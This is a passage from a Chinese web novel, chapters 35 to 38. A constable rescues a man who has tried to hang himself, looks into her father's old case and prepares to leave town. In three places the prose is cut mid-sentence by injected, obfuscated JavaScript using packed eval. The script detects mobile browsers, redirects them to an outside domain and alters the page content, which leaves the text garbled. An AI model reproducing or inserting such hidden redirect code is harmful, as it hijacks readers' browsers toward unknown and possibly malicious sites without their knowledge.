他停顿了一下，“你听着，如果……你如果来不及救我，没关系，这是我自己的决定，和你没有一点关系。这个，是我上次那个木盒里的第三样东西。我一直没搞明白它具体是做什么用的……但直觉告诉我，你留着，说不定以后能用得上……” 黑暗中，一个冰凉的小物件被塞进了苏却的手里，是那一个小瓷瓶。 “你这是……”苏却惊道。 宋停这时候说这些，是什么意思？ “嘘！——”宋停打断，“我跟你说……” 他话未说完，只把一只枕头用力往苏却头边一塞。 苏却就睡着了。 35. 尘世（五） 尘世（五） 苏却醒来的瞬间，只感觉四肢百骸的血液都已凝固，渐醒，才感觉到继续流淌。 没多会儿，她的半边身子就如针扎一般，手脚都麻了。 她不是自然醒的，而是睡梦中仿佛从悬崖坠落，浑身一抖，瞬间惊醒。 意识回笼的瞬间，只觉得自己身下梆硬又粗糙。 她正趴在一架倚着书架的爬梯上，头枕着右臂，就这样睡了过去。 实在不是个舒服的姿势。 不过这也怪不得她。 籍库这地方，为了防潮防盗，门是厚重的实木包铁，窗子小小一个，平日里即便白昼也光线晦暗，需终日点灯。 加上年深日久，灰尘厚重，每次进来都一股子霉味，呼吸一次，苏却就感觉细细密密的灰尘蒙住了自己的鼻孔，整个身子都沉重了不少。 而且她连日翻阅不知时辰，乏极了便随处靠一会儿，会这样昏沉沉睡过去，倒也寻常。 她晃了晃昏胀的脑袋，慢慢直起身，打算下地走一走动一动，清醒清醒。可肩背僵硬，传来一阵又酸又涩的疼痛。 低头看见几本册子掉落在爬梯横档上，她俯身将它们一一拾起，拍了拍灰，搁在书架空处。 听动静，外面一片寂静，天应该还没亮。 从小窗透进籍库的烛火微光一晃一晃的，应该是起风了吧。 等等。 晃动的光，起风的夜，寂静的屋外…… 苏却飞快冲去拉门，但是用力一拉，籍库大门只是很配合地晃了晃，伴着铁链摩擦的声音，完全打不开。 毕竟上头的意思是无令不得出，她自从进了这里，就根本没想着短时间内能出去，所以干脆就住在了里面。 因为之前不止她，还有几人也被罚到这里，但这里都是陈年的案卷资料，堆了箱子柜子满满两层楼，又稀碎又杂乱，也不会有人真的去仔细整理。 所以被罚整理籍库的，也可以理解为无人看守的变相关禁闭，都是听起来严重吓人，实则警告意味大于惩处。 但她并没有想过，门，会从外面被锁上。 库房侧面墙角有个不起眼的小洞，是之前某个被罚在此的人挖的，不通人，但能递送小件物品。这些日子，小五每日送饭送水，都是悄悄通过那个小洞。 苏却本来疑惑过，为什么放着门窗不用，要这般偷鸡摸狗。 不过还是没问，小五比她小了好几岁，到底有些孩子心性，无伤大雅的事，也就配合了。 可此时，苏却心中隐隐不安。 那光，是挂在檐下灯笼的光。 无风，灯为何会晃？ 有风，外面又为何万籁俱寂，听不到任何声响。 只怕…… 事已至此，她已顾不上许多。 她后退几步，深吸一口气，猛地抬脚，狠狠踹向那扇小窗。 第一脚灰尘落下，第二脚木档开裂，第三脚伴随着一声巨响，窗子被破开一个窟窿。 她用力掰掉尖锐的木茬，将破洞扩大至能容身通过。随即，她搬了个箱子踩上去，抓着窗边，双脚并拢一跳，就从那破洞跳了出去。 初冬寒夜，寒气袭来。 她双脚刚落在廊下，抬头望去，甚至来不及站稳，便心头大震。 籍库屋檐下的灯笼旁，赫然吊着一个人。 那人身形瘦高，脖颈被一根粗布带勒着，吊在廊柱的横梁上，身体随着布带的轻微扭转而缓缓晃动， 正对着她的，恰好是那张低垂的脸。 是宋停。 好在廊下空间狭窄，她毫不犹豫地抽出腰间佩刀，一脚蹬在墙壁上，一脚奋蹬在旁边的廊柱，身体借力向上一蹿，左手托住宋停下垂的身体，右手持刀向上一挥，寒光一闪，割断了布带，稳稳落地后，将他平放在地面上。 只见他嘴唇泛紫，微微张开，一截舌尖已僵直地抵在齿间，模样可怖。 探鼻息，已气若游丝，摸颈侧，已搏动微弱。 但命大，还活着。 她立刻跪在一旁，清理了口鼻，又掰开他紧咬的牙关，试图渡气。一番忙乱之后，宋停胸口开始有了微弱的起伏，但人依旧昏迷不醒。 这人实在是…… 看他脚下那一堆被踢倒的木柴和几个空木箱。 苏却实在不知是该怒，还是该恼。 叫他死远点，怎么又来自己眼皮子底下作妖。 此刻，天色未明，衙门里空无一人，只有远处隐约传来的更梆声。 她看着宋停苍白如纸的脸和颈间那道勒痕，心想只能静待天亮再想其他办法，否则一人趁夜色在衙门内上吊，一个本该被铁链锁在籍库内的受罚捕头，恰好趁夜色破窗而出，这其中的嫌疑和麻烦，绝非三言两语能说清。 她必须等。 苏却三两下撬开了铁链锁，脱下外袍包住了宋停的身体，又回头看了看那个被自己踹得支离破碎的窗洞，只觉得一阵前所未有的头疼。 还不知有多少糊涂账，又要算在自己头上了。 等宋停气息稳定后，苏却将他拖进了籍库，放在了架子后面由三只木箱拼成的木台上。 想起他之前跳河，又跟她说了一大堆稀奇古怪不明就里的言论……那他这次上吊，会不会也和他说过的天方夜谭那样，有所关联呢？ 天终于蒙蒙亮起，衙门里开始有了细微的动静。 最先来的果然是小五，他被罚到厨房，年纪又小，苦活累活肯定都指给他了。 不过他心情倒是不错，提着食盒，哼着小调，晃晃悠悠地走过来。 当看到籍库大门洞开，铁链断落在地，旁边窗户破了个大窟窿，廊下一片狼藉时，他甚是震惊，惊得张大了嘴巴，食盒脱手，碗碟碎了一地，还滚出来几只热气腾腾的白面包子。 “头……头儿！”他结结巴巴地指着现场，“你……你这是终于被这破籍库逼疯了是吗？跟这些老古董干起架来了？” 苏却揉了揉眉心，疲惫道：“少胡说八道。” 小五凑近些，压低声音：“我们几个还打赌呢，赌你能在这鬼地方忍多久。结果你还是没忍住，动手了是吧？厉害厉害！” “别贫嘴，先替我找个木匠修修窗户，再……” 苏却没心思跟他胡扯，可小五的目光已经越过她，看到了躺在木箱上的宋停。 他像是被踩了尾巴的猫，猛地跳开一步，手指颤抖地指着宋停：“他他他他他……怎么又是他？！这人是鬼吗？怎么阴魂不散哪都有他？他这这这是怎么了？” “晕过去了。”苏却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416024|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言简意赅，“你做饭之余，帮我仔细查查他的底细，越详细越好。” 她顿了顿，又问道，“张哥来了吗？” “还没呢，这个点估计刚起。”小五摇头，蹲下身去收拾刚才惊吓时掉落的碗盘碎片和滚出来的包子。 “行，那你做饭之余再帮我去嫂子那里随便拿点药吧。”苏却继续吩咐道。 “什么药？” “气短窒息，呼吸不畅一类？” “啊？”小五一声低呼后又自己赶紧捂住嘴，眼睛瞪得溜圆，凑到苏却耳边，惊恐地问，“头儿，你……你杀人啦？你把他掐死的？你不是被锁在里面吗？这是……破窗杀人？还把尸体拖回衙门？你你你你不会是喜欢……” 他眼神古怪地在苏却和宋停之间看来看去，后面的话没敢说出口。 苏却怕他嘴里说出更多不着边际的东西，伸手狠狠拍了一下他的后脑：“叫你平时少看点本子，该干嘛就干嘛，快去。” 小五捂着脑袋，疼得“哎哟”一声，不敢再多嘴，连声道：“知道了知道了，我这就去，这就去！”说完，提着空了一半的食盒，飞也似的跑了。 打发走小五，苏却重新回到籍库内，坐回到了那架爬梯之上。 睡着前，她正在看的是十二年前，甚至更早以前，所有与文城金家、周家、赵家这三家的记录，案卷、户籍、税赋……一切可能找到的蛛丝马迹，都不能放过。 因为，那个时候文城的县令，是她的父亲。 那个时候，她还不叫苏却，是父母捧在手心里的明珠，是府中上下娇养的小姐。 母亲出身书香门第，温柔贤淑，将她庇护得极好，让她无忧无虑地长到十岁，天真烂漫。 父亲虽因公务常年在外，聚少离多，但每次风尘仆仆地归家，总会将她高高举起，用胡茬蹭她的小脸，给她带来各种新奇有趣的玩意儿。 那是她记忆中仅剩的温暖时光。 可是，一场泼天大祸，就这样毫无预兆地来了…… 最先传来的消息是父亲突然被罢官，罪名模糊不清，随即身陷囹圄。母亲听闻噩耗，当时就晕厥过去，醒来后她变卖家产细软，与家中族人四处奔走，求告那些昔日与父亲交好的同僚、门生，希望能查明真相，却看尽白眼听尽奚落。 记得母亲最后一次出门前，紧紧抱着她，反复哽咽叮嘱：“乖乖待在家里，哪儿也别去，等娘回来……娘一定会想办法救你爹爹回来……”可那一去，母亲就再也没能回来。 然后，一队一队的人马凶神恶煞地冲进了她家，又砸又抢，搜寻着所谓“罪证”。 她吓得缩在房中的衣柜里，浑身发抖，死死捂着自己的嘴，听着他们粗鲁的狂笑和砸抢破坏的刺耳声响，只是一个劲儿地掉眼泪，大气都不敢喘。 可，她还是被发现了，像拎小鸡一样，把她从衣柜中粗暴地揪出来，任凭她如何哭喊挣扎，都无济于事。 一片混乱中，她只隐隐约约记得一个人说了什么…… 包庇、共犯、抄家、官妓…… 她不明白这些词的具体含义，也不知道未来等待着她的究竟是什么。 最后，她被人粗暴地扛在肩上，带离了那个曾经欢声笑语，而今满地狼藉的家。 那年，她只有十岁。 36. 尘世（六） 尘世（六） 小五去了很久。 久到苏却看完了卷册，又将廊中杂物收拾干净，甚至还拆了破窗，才终于传来了脚步声。 他手里提着一个小布包，身后跟着一个老木匠。 但见着她以后，就一个劲儿地笑：“头儿！好事儿！天大的好事儿！” 苏却皱眉，十分不信。 小五语气雀跃：“县令病了，说是急火攻心，加上丧子之痛，卧床不起了。现在衙门里的大小事务，暂由周主簿代职。” 他喘了口气，继续道：“周主簿一上任，头一道令就是把咱们先前挨罚的一干人等都给放了，说眼下衙门人手紧，正是用人之际，既往不咎，让大家伙儿都赶紧回各自岗位上去。头儿，你自由了！” “谨言慎行。”苏却头也没抬地警告道。 小五回头看了一眼站在远处呆愣原地的木匠，又看着苏却不痛不痒的模样，他压低声音故作神秘道：“那你一定不知道，周远至要认赵政寅做干爹。” “……”苏却终于正眼看了小五一眼。 这消息确实令人震惊。 小五显然还没说完，兴奋道：“头儿，你一直在籍库，可惜没瞧见前些日子赵文安出殡那阵仗，我的天爷，金家可是下了血本了，纸人纸马纸大宅，僧道念经，撒的纸钱跟下雪似的。都说金家这是心疼金姨娘儿子没了，往后没了依靠，排场大点，算是给姨娘撑腰呢。” 他撇了撇嘴角，话锋一转，不屑道：“可你猜怎么着？金家这边还在琢磨着从族里过继个小子给金姨娘养老送终，却还是没能赶上周家那边动作快，亲生儿子说送就送。啧啧啧……” 苏却听罢，一脸寒意。 天下熙熙皆为利来，天下攘攘皆为利往。 她又想起了宋停之前跟她说过的那些纸人、冥婚之类的事。如果，宋停说的是真的，那赵政寅如今病中认下的这个干儿子，恐怕真是认贼作子，引狼入室了。 这究竟是周家蓄谋已久的攀附，还是另有一层更深的图谋？ 小五絮叨完了才想起正事，连忙招呼木匠开始量窗户尺寸，准备修补。 他自己则走到角落，蹲下来探了探鼻息，又翻了翻眼皮，查看依旧昏迷的宋停，嘀咕一句：“还有气儿，命真硬。” 随后，他转头对苏却道：“头儿，这人我也查了，没什么特别的，就是有点惨。” 苏却问：“惨？” 小五点头：“是啊，我就没见过人缘差成这样的。根本都不用费劲，随便在街面上找几个街坊一问，好家伙，那真是……争先恐后地跟我说啊，挤得我差点喘不过气来。” 苏却回想了一下之前宋停跟在她身后回家时，他们所受的注视和私语，点点头表示认同。 小五开始脱宋停的衣服，继续道：“这宋停他爹，听说以前还是个举人老爷呢，有点功名，早些年好像也在咱们衙门里待过一段时间。宋停呢，自己原先也是个读书人，考过好多回，可就是运道不济，连个秀才都没捞着。后来也不知怎么的，他爹走了歪路，据说是因为买官的事发了，被抓了个正着，不但功名被革了，家里还欠下了一屁股还不清的阎王债。” 他叹了口气，语气里多了几分同情：“唉，在那之后天天有人上门追债，砸东西、泼粪、放火吓唬、堵着门痛打……听说最狠的一次，当着他们母子的面，把他爹的一根手指头都给剁了。家里的亲戚朋友，生怕被牵连，躲得远远的，没一个肯伸手帮衬的……后来，他爹大概是彻底绝望了，心一横，先是杀了宋停她们娘俩，最后自己抹了脖子……一家三口，就这么……” “可这宋停，命是真的大，服毒啊，嘴唇紫黑啊，都没能死成。但活下来又能怎样？那些讨债的见他没死，又纠缠了一段时间，可他穷得叮当响，实在榨不出油水，慢慢地也就懒得再搭理他了。而他呢，三天两头不是投河就是上吊的，一个连死都不怕的人，谁还敢指望他还钱？” 苏却微微抿嘴，什么都没说。 她顿了顿，突然回忆到了什么细节，忙问：“他爹在衙门待过？你可问了是什么时候？” 小五打开布包，拿了一张膏药，正欲往宋停肚脐眼贴去，突然被大力一抓，疼得龇牙咧嘴。 他揉揉手腕，苦着脸道：“问啦问啦，可是头儿你应该知道的，”他压低了声音在苏却耳边悄声道，“咱们文城的上一任……后来可是定了砍头抄家的大罪啊，上头三令五申，严禁私下议论这事儿，谁还敢说啊？所以那些街坊也都是含含糊糊，只一个劲儿地说宋停他爹倒霉，具体怎么回事，谁也说不清，也不敢说。我觉着吧，恐怕多多少少跟这事儿脱不了干系。” 小五又连连摆手：“嘘……嘘……头儿，这事儿可真不敢再往下打听了，犯忌讳。” 他赶紧从带来的布包里拿出几样药材和膏贴，岔开话题：“张嫂问我你要这些药干什么用，我灵机一动，说你整理籍库太用功，学古人头悬梁锥刺股，结果一不小心勒到脖子晕了过去。哈哈哈哈可把张嫂吓死了，再三嘱咐我说勒伤之人咽喉气管有损，千万不能急着喂水，容易呛着出事。喏，这个药油，抹在鼻子下面，能通窍醒神，这个膏药，贴肚脐眼上，药效能渗入经络。张嫂还说，要是情况严重，最好抬去她那儿，用银针扎一扎，效果更好。” 苏却神色一凛，别过脸去。 是啊，这件事已经过了十二年，依然无人敢说敢提。 即便她来文城上任这些年屡屡溜进籍库查看，收获也寥寥无几。 而好不容易找到的新方向，那些关于金、周、赵三家的记录，即便能找到一些，也多是些他们内部争权夺利、掩人耳目的琐碎之事，与父亲当年的案子并无更多关联。 她黯然道：“也是。” 可，现在，宋停的父亲曾经…… 说不定…… 苏却有些急切，道：“小五，你扶着他，去我家。” 小五疑惑：“？？带上他？这种人，扔回他家就好了，何必… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421664|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 苏却打断，不容拒绝道：“走。” 宋停第一次恢复意识，是在三天后的傍晚。 这三天里，苏却和小五轮流看护。 张贺夫妇到底还是知道了消息。 张嫂送来了不少的药品，张贺虽没多问，但私下里还帮苏却挡了好几次衙务。 他们似乎都怀疑，是苏却对宋停的纠缠忍无可忍才动了手，所以，看苏却的眼神总是欲言又止，但最终还是什么都没说。 宋停的命，确实像小五说的，硬得很。 在鬼门关转了这一大圈，竟真的被一点点拉了回来。 他眼皮颤动了几下，缓缓睁开，第一眼看到的，便是站在床边，正拧了湿布巾准备给他擦脸的苏却。 他虚弱地牵动嘴角，努力地挤出一个微笑，嘴唇翕动着，想说什么，但喉咙里只能发出嘶哑的叫声。 他无力地眨了两下眼睛，似乎用尽了力气，头一歪，又陷入了昏睡之中。 宋停第二次真正清醒过来，是在十天之后。 这一次，他的精神明显好了许多。 虽然声音依旧沙哑得厉害，说每一个字都非常艰难，但他还是对着苏却清晰地、缓慢地说出了两个字：“……多谢。” 苏却只是点了点头，将一小杯温水递到他唇边。 宋停喝了水，眼神在屋里扫了一圈，最后落在桌案的纸笔上。 他指了指那边。 苏却会意，取来纸笔。 宋停接过笔，手还有些颤抖，但他握得很紧，在纸上写下了四个字： 吞金神蟾。 仿佛是个什么宝贝。 苏却深深看了宋停一眼，将那张纸仔细折好，收了起来。 而宋停似乎完成了重要任务，松了口气，不再试图说话或写字，闭上眼睛，继续休息。 自那之后，他的身体恢复得很快，胃口渐开，也有了精神，能走能跑。 苏却给他找了两条结实的长凳，又卸下一间杂物房的门板，在相对暖和的灶屋外间，给他搭了一个简易的床铺。 宋停对此安排没有任何异议，只是话还没能说利索，大部分时间都很安静，要么躺着休息，要么就默默地烧着火，看着火苗，满脸映着火光，不知道在想些什么。 与他之前插科打诨的模样判若两人。 而苏却让小五悄悄去调查吞金神蟾，没多久也有了回音。 小五在衙门里被当众打了板子，行刑的人下手极重，二十板下去，小五股腿间已是皮开肉绽，鲜血淋漓，几乎昏死过去。 接到这个消息的时候，她心中一沉，连忙赶去了小五家中。 张嫂正小心翼翼地给他清理伤口、上药，边哭边心疼道：“小五是个实诚孩子，怎么下手这么狠啊。” 张贺站在一旁，脸色铁青，眉头紧锁。他看见苏却，重重地叹了口气：“哪里都有规矩，问了不该问的事，自然要受罚，这回……算是让他长长记性吧。” 37. 尘世（七） 尘世（七） 苏却站在屋子里，看着意识模糊趴在炕上的小五，满心愧疚。 小五跟着她的时间不算长，但性子直率，办事勤快，对她这个沉默寡言的上司还有种盲目的信赖。 可如今就是因为自己的一句吩咐，被打成这副模样。 她想起小五平日笑嘻嘻喊她的模样，又看着惨不忍睹的血肉，几不可察地颤抖了一下。 自然，她也很震惊。 为什么文城有这么多不可触及的事情？ 不，许，议，论。 这个离奇的要求，与十二年前那桩案子的情形，何其相似。 如今，仅仅是与吞金神蟾可能沾边的打探，就招致了如此严厉的惩罚。 这背后隐藏的，究竟是怎样一个秘密？ 恐怕，有些问题，眼下唯一可能知悉些许内情的，就只有宋停了。 寒风拂面，月色如霜。 回到自家小院时，远远便瞧见一个身影正坐在大门口的门槛上，像是等了很久。 是宋停。 他看见有人过来后随即站起身，一直沉默地看着，直到对上她的目光。 “他，如何？”宋停的嗓子哑得厉害，满眼都是关切。 苏却道：“严重，还昏着，十天半月下不得床。” 宋停闻言，没有说话。 下一刻，他毫无预兆地抬起右手，握成拳，狠狠地照着自己的脸砸了下去。嘴角立刻被牙齿磕破，淌出血来。 苏却被他这突如其来的举动惊得怔了一下，随即眉头紧锁。 她沉默地看了他半晌，才开口道：“……与你何干。”她的声音越来越轻，“该怪我。” 是她，让小五去打听的。 是她，根本没多想，以为这就是个物件。 是她，没等宋停身体恢复，没等到对此的解释，就迫不及待地要调查此物。 是她，低估了吞金神蟾这四个字背后隐藏的危险。 宋停抬起手背，胡乱抹去嘴角的血迹，摇了摇头，依旧没有出声。 他转身，默默走回屋内，点亮了桌上的油灯，铺开了纸张，挽起袖子，磨好了墨。 他提起笔，便俯身开始在纸上书写起来。 上一次他伤势未愈，手脚无力，握笔姿势也别扭，苏却并未留意。此刻她才看清，宋停的字，竟是出乎意料的好。 笔锋锐利，十分的力道。 这字迹，与他那副半死不活玩世不恭的无赖样，很是不符。 苏却的目光从他的笔尖移到他脸上。 他写得极其专注，时而眉头微蹙，时而嘴唇紧抿。 她不由得就想起小五打听来的关于他的身世，受尽白眼，家破人亡…… 推己及人，伤及自身，她又何尝不是如此，忍辱负重，吃了数不尽的苦，带着心中的两座坟，走了整整十二年…… 可这个念头刚冒出来，她便立刻掐断了。 她不需要同情，也不需要取暖，她只需要真相。 她移开视线，起身走到门边，倚着门框，抬头望向明明朗月高悬，却仍一片漆黑的天，一言不发，任由思绪沉浮。 不知过了多久，身后传来轻轻一声搁笔。 苏却转过身，走回桌边。 桌上已经铺了厚厚一沓写满字的纸。 宋停示意她看。 苏却拿起最上面的一张，低头阅读。 他写了很长很长的一个故事，从一个太守丢了一尊玉麒麟开始…… 地下赌场、诡闻当铺、菜市口拍卖…… 一字字，一句句，骇人听闻，匪夷所思。 全部看完，她放下最后一页纸，抬起头，目光复杂地看向宋停。 宋停迎着她的目光，重新提笔，在空白的纸上缓缓写了几个字：“你可有印象？” 苏却摇了摇头。 她的记忆里，只有她昏昏沉沉在籍库翻阅卷册的时候，连自己何时睡着都不知道。 宋停写道：“下一次开始后，你就会都想起来的。” 下一次开始？ 是指再次被卷入他说的那种诡异的客栈事件吗？ 苏却手中捏着这几张纸，明明理智告诉她这事荒诞不经，可她，在潜意识中，竟然开始接受这种可能性。 她还试图说服自己，如果不是宋停天赋异禀，怪谈谎言张嘴就来，随手就能编造出如此故事，那么，唯一的解释就是，这些事情，他真的亲身经历过，并且，她也确实曾身处其中。 她的目光再次扫过纸上的文字。 诡闻当铺。 ……诡……闻…… 她似乎有点眼熟。 她确实也有点眼熟。 自己刚醒来后，掉在爬梯上的某一本册子上，好像，就有此二字。 苏却顾不上解释，只说了一句：“再去一趟籍库。”便转身飞步向外跑去。 宋停只见她神色凝重，虽不明所以，却也毫不犹豫地跟了上去。 为了避免惊动衙门中人，苏却选择了翻墙。 她轻松跃上墙头，又悄无声息地落在地上。 宋停助跑了几步向上一跳，双手勉强够到墙头，爬得有些吃力。 落地时一个踉跄，虽然有点难看，也不算太没用。 籍库大门依旧锁着。 苏却弓着身子，从腰带内侧翻出一根细铁丝，在锁孔里拨弄了几下，锁便开了。 宋停在一旁看着，哑着嗓子低声道：“好熟练。” 苏却推开沉重的木门，淡然解释道：“也不是什么锁都能开，这种常见锁，结构不算复杂。” 关上门，两人进入库内，遮好窗户，点起蜡烛。 苏却直奔她之前整理的那几个书架，将堆在空处的册子一摞抱到蜡烛边，急切地查看。 然而，一本本地翻找过去，封面上有“诡闻”二字的书册却踪迹全无。 宋停也在一旁随手拿起两本册子，胡乱翻了几页，里面记录的不过是些某年某月的天气、邻里纠纷之类的琐事。 苏却不死心，也开始稀里哗啦翻起了里面。 当她翻到中间某处时，动作突然顿住了。 一张夹在书页中的残页，因她的翻动而飘落下来。 残页上的字不大，但侧边几个稍大的字，正是她无意中瞥见的内容没错了。 诡闻录。 旁边还有一点小字。 “沈矢……”苏却轻声念道，仿佛后面还有点什么，不知是一个字还是半个字。 她摸了摸残页边缘参差不齐的撕痕，无从辨认。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426779|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是本书？”宋停凑过来，哑声问道。 苏却盯着残页，点了点头：“或许是。而且很可能是一位沈姓之人编写的，但……” 她读了读夹着残页的这本册子，里头写着的是庆和十九年的农时收成等，与诡闻二字毫无关联，且确认并无异样。 也许是被别人，也许是被她，无意夹带在其中。 “我们分头找，”苏却当机立断，“既然有残页，说明原书很可能也还在库中，只是封页可能被撕掉了，或者其他部分散落了。内容也需看几眼，肯定与寻常案卷不同，应该会记载一些……怪异之事。” 宋停点头表示明白，两人立刻分头行动。 时间流逝，天开始微亮。 他们翻查了不下十几个书架和木箱，却依然没有任何发现。 再过不久，衙门就该有人来了。 宋停并非衙门中人，身形又显眼，若被撞见，难以解释。 苏却虽心有不甘，却也只得放弃。 “先走吧。”她吹灭蜡烛，对宋停低声道。 两人悄然离开籍库，苏却重新将门锁好，循原路翻墙而出。 黎明时分，街道空旷，零星点人。 他们两人走在路上，似乎各有心事。 不多时，宋停沙哑建议道：“若真是本书，文城地方小……不如，去大地方，书局或藏书楼这些地方，去看看？” 苏却沉默地走着，心中飞快地权衡。 宋停的提议不无道理。 文城多商人，往来流动大，诡闻怪事自然不少，但多数都在街头巷尾口口相传。 偶有几个读书认字的，忙着科考功名还来不及，谁会有闲情逸致记录下来。 故诡闻录三字，若真是一本记载奇闻异事的书，在文城这种地方，找不到是正常的。 另一方面，吞金神蟾之事在文城已无法再深究，父亲当年在文城任职的痕迹也被清理得异常干净…… 父亲当年宦海浮沉，并非只在文城一地任职。 或许，真的已经到了离开文城，去其他地方寻找更多线索的时候了。 回到家中，天已大亮。 苏却铺开纸笔，开始写告假文书。 她只是以自己才疏学浅，性情愚钝，屡屡触怒上官，未能为衙门排忧解难，反添烦扰为由，请求长期告假，静思己过。并在文书末尾，推举孙惟代职，道此人本性纯良，忠诚勤勉，虽年轻经验稍欠，然可期可望，望上官念其年少给予戴罪立功之机。 宋停则安静地坐在一旁，无所事事地拿着笔在纸上写写画画。 过了一会儿，他将一张纸条推到苏却面前，上面写着：“接下来你打算去哪？” 苏却放下笔，看向他，直接问道：“你会骑马吗？” 宋停窘迫地摇了摇头。 他一个落魄书生，欠着一屁股债，连饭都常常吃不饱，哪里有机会学习骑术。 苏却对此并不意外，思忖一会，道：“此事既然涉及贡品，那终点必是京城。文城离京不算近，如果快，脚程大致需要三月。你既不会骑马，我们不如先乘船沿河南下，先到河阳府。河阳府是水陆要冲，消息灵通，书局林立，可先在那边探探《诡闻录》的线索。” “之后再从河阳府改走官道，北上进京。” 38. 尘世（八） 尘世（八） 去衙门交告假书那日，文城突然降了一场小雪。 碎玉飘洒，素景初呈。 衙门口当值的衙役见到苏却，虽恭恭敬敬地叫了她一声，但神色都有些微妙。 小五被打，正值衙门之中权力动摇之时。 这群人都极擅看眼色揣心思，自然分外敏感，时时留心各种风吹草动，对她有所避讳。 苏却面色如常，点头示意，走向签押房内室。 周主簿正坐在案后写着什么，见苏却进来，脸上立刻堆起了笑容。 “苏捕头来了，快坐。”他放下笔，客气地招呼着。 苏却并未坐下，只是将告假书双手呈上。 “大人，这是下官的告假书，请过目。” 周主簿接过那张薄薄的纸，脸上的笑容收敛了几分，变得郑重起来。 他看得极为仔细。 良久，他才缓缓放下纸，抬起头，目光落在苏却身上，带着惋惜，长长叹了口气。 他语气颇为恳切，道：“苏却啊，你的能力，衙门上下都是有目共睹的，尤其是这身手，更是没的说。唉，可惜啊，你父亲……去得早，没能看到你如今这般出息。他若在天有灵，见到你在公门中做得这般出色，心中定然也是欣慰的。” 随后，他话锋微转，仿佛随口问道：“只是，如今你突然要告长假，不知是打算去哪儿？若是有什么难处，尽管与我说，衙门或许也能帮衬一二。” 苏却垂着眼睑，声音平淡，道：“劳您挂心，下官并无难处，只是目前力有不及，想回师门看看。” 周主簿连连点头：“哦，对对对，你从外面养病回来，也有几年了吧。是该回去看看，尊师重道，乃是人伦正理，何况救命之恩。好好好，应当的。” 他拿起那份告假书，一边蘸墨一边说道：“你放心，衙门会酌情考虑你的推举。小孙那孩子这次……唉，到底还是年轻人，还是得多磨砺磨砺。 不过嘛，”他抬起眼，笑容依旧和煦，“这捕头的位置，终究还是要给你留着的。毕竟，你的母亲、你的家都在文城。所以早些办完事，记得早些回来。” 苏却心中冷笑，周主簿为人处世可真是滴水不漏。 小五曾说，周主簿是个典型的笑面虎，表面温和，背地里却最是精明算计，赵县令许多不便出面的事情，背后都有他的影子。 他方才那番话，明面上是体恤关照，却字字句句都压在要害，偏偏还用温和口吻，让人挑不出错处，又寒意入骨。 今日这番交谈，让她确信小五所言非虚，甚至犹有过之。 她再次躬身行了一礼：“多谢大人，下官告退。” 苏却回到家中，便开始收拾行装，开始为出门做准备。 她平日朴素清俭，宅子里本就没有多少陈设，所以也并没有多少行李需要打理，只简单带上了几套便于行动的换洗衣物，一些碎银子和便于携带的银票，打成一个不算沉重的包袱。 她还给了宋停一笔钱，告诉他若想添置些什么，或是路上有需要，可以自行打算。 宋停看着那堆银子，没有推辞，默默收了起来。 随后，苏却去了棺材铺，跟母亲告别。 母亲正坐在铺子里，一边叠元宝一边听隔壁寿衣布料店铺的人跟她说闲话。 听到脚步声，她抬起头，看到是苏却，手微微一顿。 她没有问苏却要去哪里，要去多久，为什么去。 只是沉默地放下手中的活计，站起身走到里间，没多久怀里揣着一个小布包出来，塞到苏却手里。 入手极沉，是满满一包银子。 “路上小心。”她对苏却只说了这四个字，再没有任何多余的叮嘱。 然后她重新坐回原位，重新拿起金纸，一折一压，仔细地叠起元宝来。 隔壁的伙计又对她笑着说了句什么，她抬起头，点了点，听得非常认真。 仿佛苏却没有来过。 正当苏却默然将银子悄悄放在桌上时，却见宋停已踱至隔壁铺子前，正低头打量着那些陈列的寿衣布料。 随后他竟真从中挑了一块，还老老实实地付了钱。 苏却看着他这番举动，不禁皱了皱眉。 宋停看了她一眼，哑着嗓子笑着解释：“我没地方放这么多钱，这布颜色鲜亮纹样吉祥，做个小布袋图个吉利嘛。” 苏却没再说什么。 反正宋停行事向来难以常理度之。 船只那边也打点好了。 张贺通过关系，联系了一艘常年往返于各地运送药材的大货船，顺带捎人，十分便宜。 船主与他相熟多年，为人可靠，此行正好要经过河阳府，并且会在那里停靠卸货、补充给养，大约停留十天。 苏却他们可以就此在河阳府下船，也可以选择继续跟船再走一段。 “船上除了船工，还常有一些随船行走的游医，收购药材。”张贺对苏却道，“你们在路上，万一有个头疼脑热，或是……其他不便去医馆的伤症，找他们也方便些。” 张嫂则准备了许多自己配制的疮药和活血化瘀的膏贴，塞进苏却的包袱里。 